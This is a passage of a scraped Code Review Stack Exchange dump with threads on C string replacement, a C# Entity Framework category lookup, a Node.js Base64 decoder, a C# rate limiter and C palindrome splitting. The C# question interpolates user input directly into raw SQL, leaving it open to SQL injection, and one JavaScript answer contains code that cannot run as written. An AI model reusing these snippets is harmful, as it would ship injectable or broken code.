those.</p>\n<p>If <code>countOccurrences()</code> and <code>allocateBuffer()</code> aren't intended to be part of the public interface, declare them with internal linkage (<code>static</code>).</p>\n<p>The test program is an optimist. If you've taken the care to safely return a null pointer from the function, the caller ought to have the decency to set a good example by testing the value rather than blindly passing it on!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:09:02.343",
"Id": "520878",
"Score": "0",
"body": "I group the Standard Library headers like I do my own headers: in increasing order of specificity. Although that is, admittedly, a bit subjective. But I find this easier to understand than alphabetical order. If I want to know whether a *specific* header is already included, I'm almost certainly going to just search for it to ensure an exact match."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T20:32:13.280",
"Id": "520938",
"Score": "0",
"body": "I updated the original post now https://stackoverflow.com/a/68237099/6699433"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T20:15:25.360",
"Id": "263789",
"ParentId": "263785",
"Score": "2"
}
},
{
"body": "<h3>The interface</h3>\n<ol>\n<li><p>There are a number of useful things to return. Let's list them in order of which is least surprising:</p>\n<ul>\n<li>The pointer to the start of the destination. This follows the standard library, but is least useful.</li>\n<li>The pointer to the end of the destination. This follows an alternative convention embodies in the <a href=\"//man7.org/linux/man-pages/man3/stpcpy.3.html\" rel=\"noreferrer\"><code>stpcpy()</code></a> function and similar added to POSIX in 2008.</li>\n<li>Number of characters produced / to produce. Generally only used if the sink can accept any number of characters, or the destinations size is also passed. <code>countOccurrences()</code> seems your flawed attempt to begin implementing the alternative approach to sizing the buffer.</li>\n<li>Return a count of replacements done. Degenerates to boolean if maximum number of replacements is 1.</li>\n<li>Try to combine bool (not count) with one of the other options. <a href=\"//en.cppreference.com/w/c/string/byte/strstr\" rel=\"noreferrer\"><code>strstr()</code></a> does it, arguable returning a pointer to the terminator might have been better.</li>\n</ul>\n<p>None of those options reflects your choice.</p>\n</li>\n<li><p>Provide some way to properly size the destination buffer. As a bonus, <code>replaceNAndAllocate()</code> becomes fairly trivial.</p>\n</li>\n</ol>\n<h3>The algorithm</h3>\n<ol>\n<li><p><code>replaceN()</code>'s use of <code>replace()</code> results in a standard <a href=\"http://wiki.c2.com/?ShlemielThePainter\" rel=\"noreferrer\">Shlemiel The Painter</a>-algorithm. It should be linear, but ends up quadratic.</p>\n</li>\n<li><p><code>countOccurrences()</code> can fail if some proper suffix (neither empty nor the full string) is a prefix of the needle, specifically if the resultant string is found. Skip over the full match found, not the first character.</p>\n</li>\n</ol>\n<h3>Implementation</h3>\n<ol>\n<li><p>Yes, <a href=\"//en.cppreference.com/w/c/string/byte/strncpy\" rel=\"noreferrer\"><code>strncpy()</code></a> (which is not actually a string-function) will behave identically to <a href=\"//en.cppreference.com/w/c/string/byte/memcpy\" rel=\"noreferrer\"><code>memcpy()</code></a> if the first <code>n - 1</code> bytes are non-null. It is still inefficient and false advertisement though.</p>\n</li>\n<li><p><code>&pointer[offset_calculation]</code> might not be longer than <code>pointer + offset_calculation</code>, but it is a bit less idiomatic. You decide whether it should be changed.</p>\n</li>\n<li><p><code>replaceN()</code> should be the one to implement directly, <code>replace()</code> being a convenience-function. The overhead is trivial for the latter, and fixes the current problem with its runtime.</p>\n</li>\n<li><p>Most of the time, you use <code>pointer</code> directly, but sometimes you use <code>pointer != NULL</code>. Fix the inconsistency, preferably in favor of the former, which is more idiomatic and shorter.</p>\n</li>\n<li><p><code>countOccurrences()</code> and <code>allocateBuffer()</code> seem to be internal helpers. Mark them <code>static</code> so they are not exported.</p>\n</li>\n<li><p>Your test-program fails to free the buffer <code>replaceAllAndAllocate()</code> allocates.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T06:46:08.843",
"Id": "520866",
"Score": "0",
"body": "I'm pretty sure we're not using Shlemiel's algorithm, because `src` gets advanced within the loop (that being the reason the worker function returns the end of the first match). However, if you missed that, it says something about the clarity of that part of the code!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T06:47:28.473",
"Id": "520867",
"Score": "0",
"body": "Oh, actually I see that while the next search starts from the right place, we repeatedly copy the string tail, and that's the bit that's quadratic. Good catch!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T07:45:15.857",
"Id": "520871",
"Score": "0",
"body": "Very good points. I'm going to write a more efficient variant. This was mostly intended to be clear code with most focus on reusing functions. I wrote `replace` with the intention of using it in `replaceN` and that's why I chose the return value that makes more sense in that regard. And it can still be used as a boolean. But I'm not sure what you mean by *\"Provide some way to properly size the destination buffer.\"* I have a function for that, which is `allocateBuffer`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T07:47:41.507",
"Id": "520872",
"Score": "0",
"body": "Algorithm 1) Yes, I agree. I'll write another more efficient variant. 2) Thanks for bug report."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T07:56:41.360",
"Id": "520873",
"Score": "0",
"body": "Implementation 1) Will fix. Makes more sense. 2) I'll think about it. I often mix them, it it depends on if I focus on the array or the pointer. 3) You certainly have a point here. `replace` is not needed. 4) I needed to put the exp in parenthesis to suppress warnings. That's why I added `!= NULL`. Because then it does not look like you have too many parenthesis. Yes, I know it does not make sense. 5) Maybe 6) Did not care about that. It's not really a part of the whole. Basically just added it so others can have a quick test case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:43:37.410",
"Id": "520881",
"Score": "0",
"body": "@klutt `allocateBuffer()` allocates a big enough buffer, but it does part of the sizing work itself and outsources part to `countOccurrences()`. There is no function returning the **size** of the buffer needed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:50:28.820",
"Id": "520882",
"Score": "0",
"body": "@Deduplicator Ah, I see. Valid point."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T20:32:02.120",
"Id": "520937",
"Score": "0",
"body": "@Deduplicator Fixed a lot of things. You can have a look if you're interested https://stackoverflow.com/a/68237099/6699433"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T01:34:39.410",
"Id": "263793",
"ParentId": "263785",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T18:17:43.437",
"Id": "263785",
"Score": "5",
"Tags": [
"c",
"strings"
],
"Title": "Replace n or all occurrences of substring in C"
}
|
263785
|
<p><strong>UPDATED</strong></p>
<p>I have a POCO class that is populated with <code>_context.Categories.Load()</code>:</p>
<pre class="lang-cs prettyprint-override"><code>[Table("bma_ec_categories")]
public class Category
{
[Key]
[Column("category_id")]
public int CategoryId { get; set; }
[Column("parent_category_id")]
public int? ParentCategoryId { get; set; }
[Required]
[Column("category_name")]
[StringLength(50)]
public string CategoryName { get; set; }
}
</code></pre>
<p>I can't change the table design. It is basically a <code>node</code>.</p>
<p>I also have an ItemService:</p>
<pre class="lang-cs prettyprint-override"><code>public class ItemService : IItemService
{
private readonly EntityContext _context;
public ItemService(EntityContext context)
{
_context = context;
_context.Categories.Load();
}
public async Task<IList<EcommerceItem>> GetAllAsync(string customerNumber, string category = "All", int page = 0, int pageSize = 9999)
{
if (category == "All")
{
var roots = _context.Categories.Local
.Where(x => x.ParentCategoryId == 0)
.Select(x => x.CategoryName)
.ToList();
foreach (var root in roots)
{
GetChildren(root);
}
}
else
{
GetChildren(category);
}
var items = await _context.EcommerceItems
.FromSqlRaw($"SELECT [ItemNumber], [ItemDescription], [Featured], [Category], [Price], [QtyOnHand], [ImageData] FROM [cp].[GetEcommerceItemsView] WHERE [CustomerNumber] = '{customerNumber}'")
.OrderBy(i => i.ItemNumber)
.Where(x => _categories.Contains(x.Category))
.Skip(page * pageSize)
.Take(pageSize)
.AsNoTracking()
.ToListAsync();
return items;
}
private readonly IList<string> _categories = new List<string>();
// Helper Methods
private void GetChildren(string catalog)
{
_categories.Add(catalog);
var id = _context.Categories.Local
.Where(x => x.CategoryName == catalog)
.Select(x => x.CategoryId)
.SingleOrDefault();
var tempList = _context.Categories.Local
.Where(x => x.ParentCategoryId == id)
.Select(x => x.CategoryName)
.ToList();
foreach (var category in tempList)
{
GetChildren(category);
}
}
}
</code></pre>
<p>My question is: Is there a better way to <code>GetChildren()</code>?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T06:07:15.970",
"Id": "520865",
"Score": "0",
"body": "`if (tempList.Any())` is a kind of redundancy."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T06:50:31.023",
"Id": "520869",
"Score": "0",
"body": "What's the point of using FromSqlRaw for such a basic query? Why use EF if even such basic queries are going to be done via raw SQL?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T10:16:04.523",
"Id": "520884",
"Score": "0",
"body": "@BCdotWEB because `[cp].[GetEcommerceItemsView]` is a view that has complex calculations to get things such as price for this particular user. In addition, I have other queries in this Service that use regular EF queries. Thanks for your comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:00:12.783",
"Id": "520886",
"Score": "1",
"body": "@aepot You are correct, fixed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:15:44.403",
"Id": "520887",
"Score": "0",
"body": "Don't make further editions to the code. It can make possible code review not actual."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T18:02:21.573",
"Id": "520917",
"Score": "0",
"body": "There is [FromSqlInterpolated](https://docs.microsoft.com/en-us/dotnet/api/microsoft.entityframeworkcore.relationalqueryableextensions.fromsqlinterpolated?view=efcore-5.0) method that much more secure than manual string interpolation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T18:06:46.480",
"Id": "520919",
"Score": "0",
"body": "Why do you download categories to the client, if then the search for them is carried out to the database?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:52:52.820",
"Id": "520931",
"Score": "0",
"body": "@AlexanderPetrov I fixed my source to use `FromSqlInterpolated`. As far as your last comment, this is not the client this is a web API. The client is a reactjs app. If you care to explain a bit more I would welcome your input."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T05:33:35.530",
"Id": "521028",
"Score": "0",
"body": "Database is a server. Web App is a client."
}
] |
[
{
"body": "<p>I would be very worried about <code>GetChildren</code> implementation. I agree what has been mentioned in <a href=\"https://stackoverflow.com/questions/11929535/writing-recursive-cte-using-entity-framework-fluent-syntax-or-inline-syntax\">https://stackoverflow.com/questions/11929535/writing-recursive-cte-using-entity-framework-fluent-syntax-or-inline-syntax</a> based on my experience. It is a bad idea to have Linq client side recursive calls.</p>\n<p>If Linq have recursive CTE support now (thread above is from 2012) use that.\nOr create a view.\nPlease do not do client side recursive Linq calls.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T05:31:48.460",
"Id": "521027",
"Score": "0",
"body": "CTE support is not directly related to LINQ in any way. It depends on the ORM capabilities. [linq2db](https://linq2db.github.io/articles/sql/CTE.html) has such support."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:31:27.113",
"Id": "521073",
"Score": "0",
"body": "@vish I moved my code into the Entity"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:33:56.417",
"Id": "521074",
"Score": "0",
"body": "@Randy thanks for the update."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T04:24:16.443",
"Id": "263853",
"ParentId": "263791",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263853",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T00:08:42.637",
"Id": "263791",
"Score": "0",
"Tags": [
"c#",
"recursion",
"entity-framework-core"
],
"Title": "How do I optimize my GetChildren method"
}
|
263791
|
<p>I have function <code>decodeVals</code> in NodeJS that decodes all of the values of the given object from Base64 to ASCII. This is achieved by traversing the values of said object then converting each element one at a time via a function call to the "homemade" <code>atob</code> function.</p>
<p>Though the results are fast on objects I've tested - which are relatively small - I imagine this could be inefficient for much larger objects.</p>
<hr />
<p>Does anyone know of a more efficient/less expensive way of achieving this?</p>
<pre class="lang-js prettyprint-override"><code>const atob = (str) => Buffer.from(str, 'base64').toString();
// Decoder Function
function decodeVals(obj) {
for (let [key, value] of Object.entries(obj)) {
if (!Array.isArray(value)) {
obj[key] = atob(value);
} else {
for (let arrayElement of value) {
obj[key][obj[key].indexOf(arrayElement)] = atob(arrayElement);
}
}
}
return obj;
}
const testObj = {
correct_answer: 'VHJlbnQgUmV6bm9y',
incorrect_answers: ['TWFyaWx5biBNYW5zb24=', 'Um9iaW4gRmluY2s=', 'Sm9zaCBIb21tZQ=='],
};
const res = decodeVals(testObj);
console.log(res);
/*
{
correct_answer: 'Trent Reznor',
incorrect_answers: ['Marilyn Manson', 'Robin Finck', 'Josh Homme']
}
*/
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T04:42:27.103",
"Id": "520859",
"Score": "3",
"body": "You can change inner loop to avoid calling indexOf (which has a loop over all elements inside) - like using for..in instead if for..of. And add motivation for such strange form of data handling. Are you trying to obfuscate data in a config file/database?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:55:37.940",
"Id": "520890",
"Score": "0",
"body": "Data from an API is recieved similar to `testObj`, with the values being in base64. The goal is to decode given JSON from said API"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:58:08.363",
"Id": "520892",
"Score": "0",
"body": "I see what you mean about the inner-loop and now see how that can be beneficial!"
}
] |
[
{
"body": "<p>I would suggest breaking out decode into dedicated functions. This way, the code is much more readable, and you can easily find which pieces need to be optimized.</p>\n<p>For instance, in the following snippet, I split out decoding into types. You can clearly see that <code>decodeObject</code> may not be the most optimized, as its <code>reduce</code> operation does some copying, which can be replaced with a different implementation without affecting how the others work.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const atob = (str) => Buffer.from(str, 'base64').toString();\n\nconst decodeObject = obj => {\n return Object\n .entries(obj)\n .reduce((c, ([key, value])) => ({ ...c, [key]: decode(value) }), {})\n}\n\nconst decodeArray = array => {\n return array.map(v => decode(v))\n}\n\nconst decodeString = str => atob(str)\n\nconst decode = value => {\n return value == null ? null // weed out null and undefined early\n : typeof value === string ? decodeString(value)\n : typeof value === 'object' ? decodeObject(value)\n : typeof value === 'array' ? decodeArray(value)\n : value // Dunno what to do, leave it alone.\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>I also advice against destructively modifying your source object. You never know what other piece of code might be holding a reference to it, which might break because it was expecting a different value.</p>\n<p>And since this is Node.js, you can always split the task across threads. I'm assuming you'll be working with an array of these kinds of objects. You can split up the array and have a different thread work on a chunk of the array. Maximize the use of the hardware.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T16:10:51.067",
"Id": "263814",
"ParentId": "263794",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263814",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T02:18:15.157",
"Id": "263794",
"Score": "1",
"Tags": [
"javascript",
"performance",
"node.js",
"base64"
],
"Title": "Function that decodes all values of a given object from Base64"
}
|
263794
|
<p>I have two strings (<code>aggregatePath</code> and <code>pathFromParent</code>), either of which might be <code>null</code> or an empty string. I want to concatenate the two strings with a separator only if neither is <code>null</code> or empty. This is what I've ended up with:</p>
<pre class="lang-csharp prettyprint-override"><code>FullPath =
aggregatePath +
aggregatePath is not (null or "") && pathFromParent is not (null or "") ? "." : "" +
pathFromParent;
</code></pre>
<p>but it seems overly complex for what I'm trying to do.</p>
<p><strong>How can I better clarify the intent of this code?</strong></p>
<p>I'm not asking about performance. I've just come back to this code after a while, and it took me a few moments to figure out the intent. Is there perhaps some better idiom for this?</p>
<p>Using C# 9.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:03:42.990",
"Id": "520875",
"Score": "1",
"body": "`string.Join(\".\", paths.Where(x => x != null))` where `paths = new List<string>{aggregatePath , pathFromParent}`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:05:22.167",
"Id": "520876",
"Score": "0",
"body": "@BCdotWEB I was thinking to use an array, but it still doesn't feel clear -- why am I creating this new instance of array/`List<string>`? (NB. I'm checking for both `null` and `\"\"`.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:11:07.033",
"Id": "520879",
"Score": "0",
"body": "If you want more clarity why not simply write things down explicitly, e.g `if (string.IsNullOrEmpty(first) || string.IsNullOrEmpty(second)) { seperator = string.Empty }`. You can use `string.Join (separator, first, second)` afterwards."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:40:47.293",
"Id": "520900",
"Score": "0",
"body": "`FullPath = $\"{aggregatePath}{(aggregatePath?.Length > 0 && pathFromParent?.Length > 0 ? \".\" : \"\")}{pathFromParent}\";`"
}
] |
[
{
"body": "<p>In my opinion, the best way to clarify your intention is to write down things explicitly.</p>\n<p>Start by setting the separator to <code>.</code> by default.</p>\n<pre><code>string separator = ".";\n</code></pre>\n<p>Then, use <code>string.IsNullOrEmpty</code> to check whether one of the two strings is either <code>null</code> or <code>string.Empty</code> and set the <code>separator</code> to <code>string.Empty</code> if that's the case.</p>\n<pre><code>if (string.IsNullOrEmpty(aggregatePath) || string.IsNullOrEmpty(pathFromParent)) {\n separator = string.Empty;\n}\n</code></pre>\n<p>Lastly, join the two string using <code>string.Join</code>.</p>\n<pre><code>string.Join (separator, aggregatePath, pathFromParent);\n</code></pre>\n<p>Might not be that fancy but it's quite easy to understand.</p>\n<p><a href=\"https://dotnetfiddle.net/dB57yX\" rel=\"nofollow noreferrer\">Try it out yourself.</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:28:13.077",
"Id": "520880",
"Score": "0",
"body": "My subjective feeling about this is that pulling out the `separator` into a separate variable is both clear and concise. But I'll accept your answer because it does answer the question."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:17:45.667",
"Id": "263797",
"ParentId": "263795",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263797",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T07:05:08.390",
"Id": "263795",
"Score": "1",
"Tags": [
"c#"
],
"Title": "Concatenating two possibly null strings with a separator"
}
|
263795
|
<p>This is a class that allows only limited number of requests to proceed per period of time.</p>
<p>This is designed for use with external APIs that require such rate limiting, e.g. 600 requests per 10 minutes. I have a multithreaded application where these requests can be queued by users with varying frequency, and the goal is to allow these requests to progress as fast as possible without exceeding the API's limits.</p>
<p>As the requests are user-submitted, there may also be long periods of time where no requests come in. Therefore, I've decided to avoid using a permanent timer/loop that would continuously reset the semaphore count; instead, the count is reset on-demand as requests come in or while there are pending requests that have not yet been allowed to proceed.</p>
<pre><code>class AsyncRateLimitedSemaphore
{
private readonly int maxCount;
private readonly TimeSpan resetTimeSpan;
private readonly SemaphoreSlim semaphore;
private DateTimeOffset nextResetTime;
private readonly object resetTimeLock = new();
public AsyncRateLimitedSemaphore(int maxCount, TimeSpan resetTimeSpan)
{
this.maxCount = maxCount;
this.resetTimeSpan = resetTimeSpan;
this.semaphore = new SemaphoreSlim(maxCount, maxCount);
this.nextResetTime = DateTimeOffset.UtcNow + this.resetTimeSpan;
}
private void TryResetSemaphore()
{
// quick exit if before the reset time, no need to lock
if (!(DateTimeOffset.UtcNow > this.nextResetTime))
{
return;
}
// take a lock so only one reset can happen per period
lock (this.resetTimeLock)
{
var currentTime = DateTimeOffset.UtcNow;
// need to check again in case a reset has already happened in this period
if (currentTime > this.nextResetTime)
{
this.semaphore.Release(this.maxCount - this.semaphore.CurrentCount);
this.nextResetTime = currentTime + this.resetTimeSpan;
}
}
}
public async Task WaitAsync()
{
// attempt a reset in case it's been some time since the last wait
TryResetSemaphore();
var semaphoreTask = this.semaphore.WaitAsync();
// if there are no slots, need to keep trying to reset until one opens up
while (!semaphoreTask.IsCompleted)
{
var delayTime = this.nextResetTime - DateTimeOffset.UtcNow;
// delay until the next reset period
// can't delay a negative time so if it's already passed just continue with a completed task
var delayTask = delayTime >= TimeSpan.Zero ? Task.Delay(delayTime) : Task.CompletedTask;
await Task.WhenAny(semaphoreTask, delayTask);
TryResetSemaphore();
}
}
}
</code></pre>
<p>Some thoughts:</p>
<ul>
<li><code>nextResetTime</code> is not <code>volatile</code>, so the pre-lock read in <code>TryResetSemaphore</code> and the non-locked read in the delay loop could read stale data. This should be fine since it'd just progress sooner into the locked check, at which point it'd exit without doing anything anyway.</li>
<li>Ordering should be guaranteed by the order in which <code>SemaphoreSlim.WaitAsync()</code> is called. So earlier requests should be processed first and won't be starved. I don't have a strict ordering requirement, just that later incoming requests don't cause one of the early ones to wait forever.</li>
<li>The semaphore release could potentially be interleaved with other acquires. This should be fine since there is no need for the semaphore to actually hit max; those interleaved acquires would just subtract some counts from the post-release available pool.</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T12:01:35.563",
"Id": "520893",
"Score": "0",
"body": "What minimum .NET version must be supported?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:17:28.590",
"Id": "520895",
"Score": "0",
"body": "@aepot Safe to assume latest, so currently .NET 5. If there's anything coming in .NET 6 that would help, I'm happy to consider them. I have full control over the runtime environment."
}
] |
[
{
"body": "<p>The usage of <code>nextResetTime</code> is incorrect. The non-locked accesses were under the assumption that those reads would be atomic; unfortunately, <code>DateTimeOffset</code> (and <code>DateTime</code>) are structs, value types. C# only provides atomicity guarantees for reference types and a subset of value types (which structs do not fall under).</p>\n<p>The two possible solutions here are to either guard the reads of <code>nextResetTime</code> with locks, or store the raw tick count as <code>long</code>s with the appropriate <code>Interlocked.Read</code>/<code>Interlocked.Exchange</code> (since <code>long</code> is not guaranteed atomic either).</p>\n<p>The implementation below is with <code>DateTimeOffset nextResetTime</code> stored as <code>long nextResetTimeTicks</code> instead.</p>\n<pre><code>class AsyncRateLimitedSemaphore\n{\n private readonly int maxCount;\n private readonly TimeSpan resetTimeSpan;\n\n private readonly SemaphoreSlim semaphore;\n private long nextResetTimeTicks;\n\n private readonly object resetTimeLock = new();\n\n public AsyncRateLimitedSemaphore(int maxCount, TimeSpan resetTimeSpan)\n {\n this.maxCount = maxCount;\n this.resetTimeSpan = resetTimeSpan;\n\n this.semaphore = new SemaphoreSlim(maxCount, maxCount);\n this.nextResetTimeTicks = (DateTimeOffset.UtcNow + this.resetTimeSpan).UtcTicks;\n }\n\n private void TryResetSemaphore()\n {\n // quick exit if before the reset time, no need to lock\n if (!(DateTimeOffset.UtcNow.UtcTicks > Interlocked.Read(ref this.nextResetTimeTicks)))\n {\n return;\n }\n\n // take a lock so only one reset can happen per period\n lock (this.resetTimeLock)\n {\n var currentTime = DateTimeOffset.UtcNow;\n // need to check again in case a reset has already happened in this period\n if (currentTime.UtcTicks > Interlocked.Read(ref this.nextResetTimeTicks))\n {\n this.semaphore.Release(this.maxCount - this.semaphore.CurrentCount);\n\n var newResetTimeTicks = (currentTime + this.resetTimeSpan).UtcTicks;\n Interlocked.Exchange(ref this.nextResetTimeTicks, newResetTimeTicks);\n }\n }\n }\n\n public async Task WaitAsync()\n {\n // attempt a reset in case it's been some time since the last wait\n TryResetSemaphore();\n\n var semaphoreTask = this.semaphore.WaitAsync();\n\n // if there are no slots, need to keep trying to reset until one opens up\n while (!semaphoreTask.IsCompleted)\n {\n var ticks = Interlocked.Read(ref this.nextResetTimeTicks);\n var nextResetTime = new DateTimeOffset(new DateTime(ticks, DateTimeKind.Utc));\n var delayTime = nextResetTime - DateTimeOffset.UtcNow;\n\n // delay until the next reset period\n // can't delay a negative time so if it's already passed just continue with a completed task\n var delayTask = delayTime >= TimeSpan.Zero ? Task.Delay(delayTime) : Task.CompletedTask;\n\n await Task.WhenAny(semaphoreTask, delayTask);\n\n TryResetSemaphore();\n }\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:20:43.453",
"Id": "520929",
"Score": "0",
"body": "A design suggestion: method with name like `TryDoSomething` probably might return `bool` not `void`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:41:39.373",
"Id": "520930",
"Score": "1",
"body": "@aepot I did waffle over the naming: it was originally `ResetSemaphoreIfNeeded`. The current one is perhaps wrongly suggestive of a `TryParse`-like pattern. That said, I'd rather find a more appropriate name if possible, since there is nothing meaningful to be done with a return value in this scenario."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T18:39:44.553",
"Id": "263817",
"ParentId": "263796",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T08:13:14.190",
"Id": "263796",
"Score": "0",
"Tags": [
"c#",
"multithreading",
"async-await"
],
"Title": "An async time-based rate-limiting semaphore for C#"
}
|
263796
|
<p>I have written some code to find the largest palindromic sub-strings in a string without repeating any character.</p>
<h2>Example input</h2>
<pre><code>abappabaxhhh
</code></pre>
<h2>output</h2>
<pre><code>abappaba
x
hhh
</code></pre>
<hr />
<h1>The code</h1>
<pre><code>#include <stdio.h>
#include <string.h>
int is_palendrome(char *arr,int n,int l,int r)
{
while(r>l)
{
if(arr[l++]!=arr[r--])
return 0;
}
return 1;
}
int bps(char *arr,int n,int r, int l)
{
if(l==n)
return 0;
int x=0;
if(is_palendrome(arr,n,l,r))
{
x=1;
for(int i=l;i<=r;i++)
{
printf("%c",arr[i]);
}
printf("\n");
}
if(x==1)
{
x=0;
l=r+1;
bps(arr,n,n,l);
}
else
{
r--;
x=0;
bps(arr,n,r,l);
}
}
void main()
{
char array[3][3];
char arr[]="abappabaxhhh";//abaaa
int n=strlen(arr);
bps(arr,n,n-1,0);
}
</code></pre>
|
[] |
[
{
"body": "<h3>Description</h3>\n<p>"Finds largest palindromic sub-strings in a string without repeating any character"? Sure? Maybe "splits the string into the palindromic substrings"? Because, say, "ababba" would be spited into "aba", "bb", "a" - not "a", "b", "abba" to have the largest palindromic substring.</p>\n<h3>Indentation</h3>\n<p>Wrong indentation makes code unreadable. It's hard to code when you struggle to read your own code. Most IDEs have tools to indent the code; make use of them.</p>\n<h3>Identifiers</h3>\n<p>What are <code>arr</code>, <code>n</code>, <code>l</code>, <code>r</code>? Is it array you're working with or the string represented as array? Is <code>n</code> the length of that string or something else? <code>l</code> and <code>r</code> seem to be left and right... or not? What is <code>bps</code>? <code>is_palendrome</code> - is the mistake in "palindrome" intentional to show... what? Good names save a lot of time on reading the code.</p>\n<h3>Arguments order</h3>\n<p>You have two functions with the same argument names and types, but in a different order. Why? Besides, <code>is_palendrome</code> doesn't use <code>n</code>.</p>\n<h3>Function return type</h3>\n<p><code>bps</code> is declared with <code>int</code> return type, but it returns 0 only in one situation, and that value is never used. Maybe it should be <code>void</code>?</p>\n<h3>Extra variable x</h3>\n<p><code>x</code> is set in the <code>if</code> expression and checked right after it. Why?</p>\n<p>This does the same, and saves several lines:</p>\n<pre><code>if(is_palendrome(arr,n,l,r))\n{\n for(int i=l;i<=r;i++)\n {\n printf("%c",arr[i]);\n\n }\n printf("\\n");\n\n l=r+1;\n bps(arr,n,n,l);\n}\nelse\n{\n r--;\n bps(arr,n,r,l);\n}\n</code></pre>\n<h3>Unnecessary recursion</h3>\n<p>The only recursive call to <code>bps</code> happens as the last action of the function - so, <code>bps</code> starts over. You can change it into a <code>while</code> loop.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:40:27.843",
"Id": "520888",
"Score": "0",
"body": "X is not extra. See the code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:42:47.143",
"Id": "520889",
"Score": "0",
"body": "I respectfully disagree on number of things but Thanks for the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T11:00:22.313",
"Id": "521039",
"Score": "1",
"body": "Not only IDEs have reformatters - there are some good free-standing ones too, such as GNU Indent."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:16:22.747",
"Id": "263801",
"ParentId": "263798",
"Score": "2"
}
},
{
